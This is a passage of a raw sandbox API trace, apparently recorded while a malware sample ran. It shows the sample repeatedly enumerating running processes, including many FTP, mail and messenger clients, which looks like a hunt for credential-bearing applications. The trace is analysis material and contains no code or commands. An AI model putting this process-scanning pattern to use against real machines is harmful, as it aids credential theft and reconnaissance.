out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0290.244] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0290.245] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0290.247] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0290.249] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0290.250] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0290.252] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0290.254] CloseHandle (hObject=0x344) returned 1 [0290.254] Sleep (dwMilliseconds=0x64) [0290.302] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0290.349] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0290.350] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0290.352] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0290.354] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0290.355] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0290.357] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0290.359] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0290.360] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0290.362] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0290.364] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.365] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.367] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0290.368] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.370] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.372] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.373] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.375] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.376] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.378] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.380] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0290.381] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0290.383] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0290.385] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.388] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0290.390] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0290.392] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0290.445] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0290.463] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.465] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0290.471] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0290.474] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0290.476] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0290.478] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0290.480] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0290.482] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0290.484] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0290.536] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0290.538] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0290.540] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0290.542] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0290.544] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0290.547] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0290.549] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0290.551] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0290.553] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0290.557] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0290.559] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0290.561] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0290.563] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0290.566] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0290.568] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0290.570] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0290.572] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0290.574] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0290.613] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0290.615] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0290.616] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0290.618] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0290.620] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0290.622] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0290.624] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0290.625] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0290.627] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0290.630] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0290.631] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0290.633] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0290.635] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0290.637] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0290.639] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0290.641] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0290.643] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0290.645] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0290.693] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0290.695] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0290.696] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0290.698] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0290.701] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0290.702] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, 